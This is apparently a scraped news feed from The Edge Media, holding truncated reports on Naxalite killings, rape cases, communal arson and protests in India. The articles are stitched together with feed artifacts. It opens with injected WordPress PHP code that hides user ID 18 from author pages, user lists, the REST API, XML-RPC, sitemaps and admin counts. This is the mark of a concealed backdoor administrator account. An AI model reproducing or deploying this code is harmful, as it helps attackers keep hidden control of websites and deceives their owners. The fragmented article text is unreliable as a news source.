add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Naxalites Kill Two in Chhattisgarh’s Bijapur District appeared first on The Edge Media.
]]>The incident occurred on Friday night in Nelakanker village, situated under the jurisdiction of the Usur police station. According to police officials, a group of armed Naxalites stormed the village, forcibly dragged out two men, identified as Ravi Kattam (25) and Tirupati Sodhi (38), from their homes, and attacked them with sharp-edged weapons. Both men died at the scene of the attack.
Following the assault, the Naxalites quickly fled the area, leaving the villagers in fear. Local police were immediately notified and have since launched an investigation into the killings.
This attack is part of an ongoing series of Naxalite-related violence targeting villagers in the Bastar division, which includes seven districts, such as Bijapur. The region has seen heightened tensions as Naxalites continue to assert their presence, often targeting local populations.
Just days earlier, on October 14, a BJP worker was also found strangled to death in a similar act of violence, underscoring the growing security challenges in the region.
The post Naxalites Kill Two in Chhattisgarh’s Bijapur District appeared first on The Edge Media.
]]>The post Police leave a rape case notice on the door of a Rajasthan minister’s son who has gone missing appeared first on The Edge Media.
]]>
Rohit Joshi was then asked by the Delhi Police to appear before them on May 18. A copy of the summons was put on the wall of the officials’ home. The woman said in her complaint that the minister’s son raped her multiple times between January 8 and April 17 this year, promising to marry her, for which the Delhi Police initially submitted a zero First Information Report or zero FIR.
The post Police leave a rape case notice on the door of a Rajasthan minister’s son who has gone missing appeared first on The Edge Media.
]]>The post Two Delhi-based journalists have been detained by Tripura police for ‘instigating’ communal animosity appeared first on The Edge Media.
]]>
Upon arriving, they went to Kakraban in Udaipur’s Gomati district, followed by minority-dominated areas in West Tripura and Sepahijala districts. On Saturday, they went to Fatikroy in the Unokoti district, where a Hindu mob allegedly vandalized an under-construction mosque in the Pal Bazar area, according to sources.
The post Two Delhi-based journalists have been detained by Tripura police for ‘instigating’ communal animosity appeared first on The Edge Media.
]]>The post At least 26 Maoists were murdered in a clash with police in Gadchiroli, Maharashtra appeared first on The Edge Media.
]]>
“We have recovered the bodies of 26 Maoists so far from the forest,” said district Superintendent of Police Ankit Goyal. While the identity of the murdered Maoists has yet to be confirmed by the police, sources claim that a key insurgent leader was among those killed in the gunfight.
The post At least 26 Maoists were murdered in a clash with police in Gadchiroli, Maharashtra appeared first on The Edge Media.
]]>The post 6-Year-Old Girl Raped In West Delhi; Accused Seen On CCTV appeared first on The Edge Media.
]]>
The family claims that when they transported the daughter to the hospital, they were informed that she had been raped. The girl’s father works for daily payment.
The post 6-Year-Old Girl Raped In West Delhi; Accused Seen On CCTV appeared first on The Edge Media.
]]>The post Bangladesh communal violence: 20 Hindu homes set afire by mob appeared first on The Edge Media.
]]>
The arson incident, which took place late Sunday in a village in Rangpur district’s Pirganj Upazila, roughly 255 kilometers from Dhaka, was carried out by a crowd of around 100 persons, according to local media.
Assistant Police Superintendent Mohammad Kamruzzaman told reporters that the police raced to a fishermen’s area as tensions rose over a rumor that a young Hindu man from the village had ‘dishonored religion’ in a Facebook post.
The post Bangladesh communal violence: 20 Hindu homes set afire by mob appeared first on The Edge Media.
]]>The post Uttarakhand news: Stay on high alert for heavy rainfall, CM Pushkar Singh Dhami directs police, SDRF appeared first on The Edge Media.
]]>
The chief minister further directed that police, the SDRF, and other concerned personnel is maintained on high alert at important locations, according to the CMO. He stated that the Char Dham Yatra route should be approached with caution. In the following days, Uttarakhand is set to have a lot of rain. On October 17 and 18, the regional meteorological center issued a red alert for heavy to extremely heavy rains in areas of Uttarakhand.
The post Uttarakhand news: Stay on high alert for heavy rainfall, CM Pushkar Singh Dhami directs police, SDRF appeared first on The Edge Media.
]]>The post Jobless Engineer Slits Son’s Throat, Takes Poison With Wife: Cops appeared first on The Edge Media.
]]>His wife had also consumed poison with the man but survived.
The incident occurred during the intervening night of Friday and Saturday in Bhopal’s Misrod area, they said.
Both the man (55) and his wife were in acute depression, according to a primary probe based on the latter’s statements. Her statements also revealed that the couple had planned the entire episode nearly two to three days ago.
The post Jobless Engineer Slits Son’s Throat, Takes Poison With Wife: Cops appeared first on The Edge Media.
]]>The post In Haryana, Police Used Lathicharge on Farmers Who Were Protesting appeared first on The Edge Media.
]]>Following police action that resulted in the injuries of numerous farmers, the farmers gathered in huge numbers on several toll plazas throughout the state. Surajpur Toll Plaza has been blocked by protesting farmers, according to the Panchkula Commissionerate. The state police were heavily chastised for their actions against the farmers, and many roads were blocked in protest at various locations.
The post In Haryana, Police Used Lathicharge on Farmers Who Were Protesting appeared first on The Edge Media.
]]>The post 73-year-old landlord alleges rapes Delhi women : police appeared first on The Edge Media.
]]>A case was registered on a complaint of the victim, police said, adding no arrest has been made yet as investigation into the matter is on.
Police said the woman had shifted to the rented accommodation just three months ago.
Senior police official Parvinder Singh said, “On Tuesday, we got a PCR call wherein it was stated that a woman and her daughter have been raped by the landlord.”
Police then reached the hospital and the woman and her minor daughter were medically examined, he said.
In her complaint, the woman alleged that on Tuesday evening, while she was present at first floor of her house, the landlord came there and raped her.
The post 73-year-old landlord alleges rapes Delhi women : police appeared first on The Edge Media.
]]>